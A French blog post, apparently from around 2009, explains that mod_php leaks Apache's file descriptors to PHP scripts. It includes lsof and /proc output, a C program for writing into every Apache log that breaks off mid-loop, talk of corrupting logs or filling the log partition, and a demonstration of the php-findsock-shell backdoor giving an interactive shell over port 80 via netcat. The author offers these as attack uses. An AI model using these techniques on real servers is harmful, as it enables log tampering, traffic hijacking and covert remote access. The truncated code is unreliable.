
Hello, il y a peu, je me suis rendu compte que l'on pouvait écrire dans les logs Apache à partir d'un simple script PHP exécuté avec les droits apache, même si les logs sont en chmod 600 root. Pire, il est possible à partir d'un simple script php d'écouter sur le port 80 et de détourner toutes les requêtes faites vers le serveur web... Le comble c'est que cette faille est connue depuis que le mod_php existe sur Apache !
Le mod_php ne ferme pas les descripteurs de fichiers dont il a hérité avant d'exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l'on exécute le code suivant :
print posix_getpid()."n"; flush(); sleep(30);
Et que l'on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :
root@linux:~# l /proc/10927/fd total 0 lr-x------ 1 root root 64 2009-12-07 12:34 0 -> /dev/null l-wx------ 1 root root 64 2009-12-07 12:34 1 -> /dev/null lrwx------ 1 root root 64 2009-12-07 12:34 10 -> anon_inode:[eventpoll] lrwx------ 1 root root 64 2009-12-07 12:34 11 -> socket:[244519] l-wx------ 1 root root 64 2009-12-07 12:34 2 -> /var/log/apache2/all.log lrwx------ 1 root root 64 2009-12-07 12:34 3 -> socket:[7137] lrwx------ 1 root root 64 2009-12-07 12:34 4 -> socket:[7138] lr-x------ 1 root root 64 2009-12-07 12:34 5 -> pipe:[7187] l-wx------ 1 root root 64 2009-12-07 12:34 6 -> pipe:[7187] l-wx------ 1 root root 64 2009-12-07 12:34 7 -> /var/log/apache2/error.log l-wx------ 1 root root 64 2009-12-07 12:34 8 -> /var/log/apache2/all.log l-wx------ 1 root root 64 2009-12-07 12:34 9 -> /var/log/apache2/access.log root@linux:~# lsof | grep 10927 | grep -v mem apache2 10927 www-data cwd DIR 8,21 4096 2 / apache2 10927 www-data rtd DIR 8,21 4096 2 / apache2 10927 www-data txt REG 8,21 435528 6963211 /usr/sbin/apache2 apache2 10927 www-data DEL REG 0,9 7360 /dev/zero apache2 10927 www-data 0r CHR 1,3 3248 /dev/null apache2 10927 www-data 1w CHR 1,3 3248 /dev/null apache2 10927 www-data 2w REG 8,21 881 6553938 /var/log/apache2/all.log apache2 10927 www-data 3u sock 0,4 7137 can't identify protocol apache2 10927 www-data 4u IPv6 7138 TCP *:www (LISTEN) apache2 10927 www-data 5r FIFO 0,6 7187 pipe apache2 10927 www-data 6w FIFO 0,6 7187 pipe apache2 10927 www-data 7w REG 8,21 200 6553939 /var/log/apache2/error.log apache2 10927 www-data 8w REG 8,21 881 6553938 /var/log/apache2/all.log apache2 10927 www-data 9w REG 8,21 14338 6553937 /var/log/apache2/access.log apache2 10927 www-data 10u 0000 0,7 0 32 anon_inode
On peut voir que le processus en cours, qui n'est rien d'autre qu'un simple script php exécuté avec les droits d'Apache, possède des descripteurs de fichiers des logs Apache ouverts en écriture, un descripteur sur le socket en écoute sur le port 80...
Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP autorise par défaut des fonctions permettant d'exécuter un fichier binaire ( la fonction system() par exemple) :).
Le code suivant permet d'écrire n'importe quoi dans tous les logs Apache :
int main(int argc,char * argv[]){ int fd; int flag,accmode,val; struct stat fileinfo; char buffer[1024] = "AAAAA"; int count; for (fd=0; fd
Déterminer clairement quel est le fichier de log ouvert à partir d'un descripteur de fichier reste difficile, on obtient facilement l'inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possèdent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.
J'étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en Write Only et il semble impossible de changer ce mode en Lecture / Ecriture sur un descripteur de fichier ( man fcntl )... On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à un admin level 70 ).
Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir ici une preuve de concept terrible que j'ai découverte sur un bug report de php.net. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.
La meilleure utilisation de cette vulnérabilité reste la backdoor PHP find-sock-shell de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu'une banale r57shell ou autre c99.
$ nc -v target 80 target [10.0.0.1] 80 (http) open GET /php-findsock-shell.php HTTP/1.0 sh-3.2$ id uid=80(apache) gid=80(apache) groups=80(apache) sh-3.2$ ... you now have an interactive shell ...Longue vie à PHP.